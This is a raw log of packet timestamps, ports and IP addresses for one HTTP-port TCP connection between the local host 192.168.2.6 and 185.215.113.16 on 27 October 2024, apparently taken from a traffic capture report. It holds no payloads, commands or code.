Oct 27, 2024 07:59:23.391360044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391391993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391424894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391484976 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.391494989 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.391494989 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.391782999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391815901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391849041 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391880989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391911983 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.391913891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.391938925 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.420304060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420334101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420384884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420428991 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.420433998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420475960 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.420485020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420516968 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420548916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420578003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420609951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420641899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420643091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.420654058 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.420654058 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.420675993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420727015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420759916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420790911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420813084 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.420823097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420857906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420902014 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.420909882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420959949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.420994043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421025038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421056032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421058893 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421058893 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421091080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421124935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421137094 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421164036 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421319008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421351910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421401978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421449900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421451092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421483994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421515942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421547890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421578884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421581984 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421581984 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421612024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421623945 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421646118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421694994 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.421873093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421905994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421956062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.421989918 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422018051 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422039986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422071934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422076941 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422103882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422127008 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422135115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422168970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422199965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422231913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422265053 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422265053 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422266960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422312975 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422548056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422584057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422617912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422650099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422688961 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422744036 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422772884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422806978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422841072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422904015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422935963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422943115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422943115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.422966957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.422998905 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.423031092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.423043013 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.423063040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.423095942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.423150063 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.424624920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.460141897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460186005 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460222006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460299969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460350990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460364103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.460364103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.460380077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460412025 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460437059 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.460445881 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460494041 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460525990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460556984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460587978 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.460592031 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.460671902 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.461318016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461400986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461431026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461462021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461494923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461500883 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.461525917 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.461544037 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461580038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461606979 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461641073 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461663008 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.461672068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461705923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461738110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461780071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.461826086 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.461874008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461924076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461958885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.461990118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462022066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462035894 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.462057114 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.462130070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462162018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462212086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462244034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462277889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462311983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462313890 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.462326050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.462405920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462467909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462501049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462563038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462572098 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.462595940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462675095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462697983 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.462723970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462758064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462789059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462822914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462868929 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.462930918 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462959051 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.462984085 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.462992907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.463042021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.463057995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.463088036 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.463124037 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.465944052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.465979099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.466012955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.466111898 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506268024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506309986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506366014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506393909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506412983 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506444931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506478071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506510973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506551981 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506551981 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506563902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506617069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506637096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506642103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506688118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506692886 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506733894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506753922 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506771088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506798029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506831884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506865978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506900072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.506908894 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506927013 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.506947041 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.535614014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535655975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535691023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535742044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535764933 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.535777092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535806894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535830021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.535840988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535859108 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.535873890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535922050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.535923958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535957098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.535984039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536016941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536071062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536082983 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536082983 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536122084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536155939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536176920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536190033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536227942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536256075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536303043 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536304951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536338091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536390066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536417007 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536438942 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536438942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536508083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536535978 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536540985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536578894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536592960 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536631107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536664963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536695957 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536698103 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536746979 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536778927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536788940 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536828995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536838055 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536864042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536895990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536914110 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.536945105 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536978960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.536998987 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537012100 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537044048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537075043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537117004 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537128925 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537167072 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537170887 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537220955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537242889 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537254095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537286043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537317991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537343025 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537350893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537364006 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537384987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537416935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537452936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537456989 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537503004 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537507057 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537537098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537591934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537606955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537625074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537656069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537688017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537691116 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537724972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537758112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537789106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537821054 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537822962 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537844896 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537853003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537885904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537899971 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.537916899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537952900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.537992001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.538285971 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.575398922 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575454950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575489044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575520992 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.575544119 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575596094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575620890 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.575628042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575663090 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575695038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575711966 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.575746059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575777054 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575809002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575812101 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.575841904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575875044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.575875998 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.575962067 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.576714993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.576765060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.576800108 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.576832056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.576853991 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.576879025 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.576880932 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.576913118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.576946020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.576982021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.576982975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577012062 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577033043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577064037 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577096939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577148914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577167034 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577167034 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577182055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577234030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577265978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577269077 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577297926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577347040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577353001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577380896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577388048 CET	49750	80	192.168.2.6	185.215.113.16
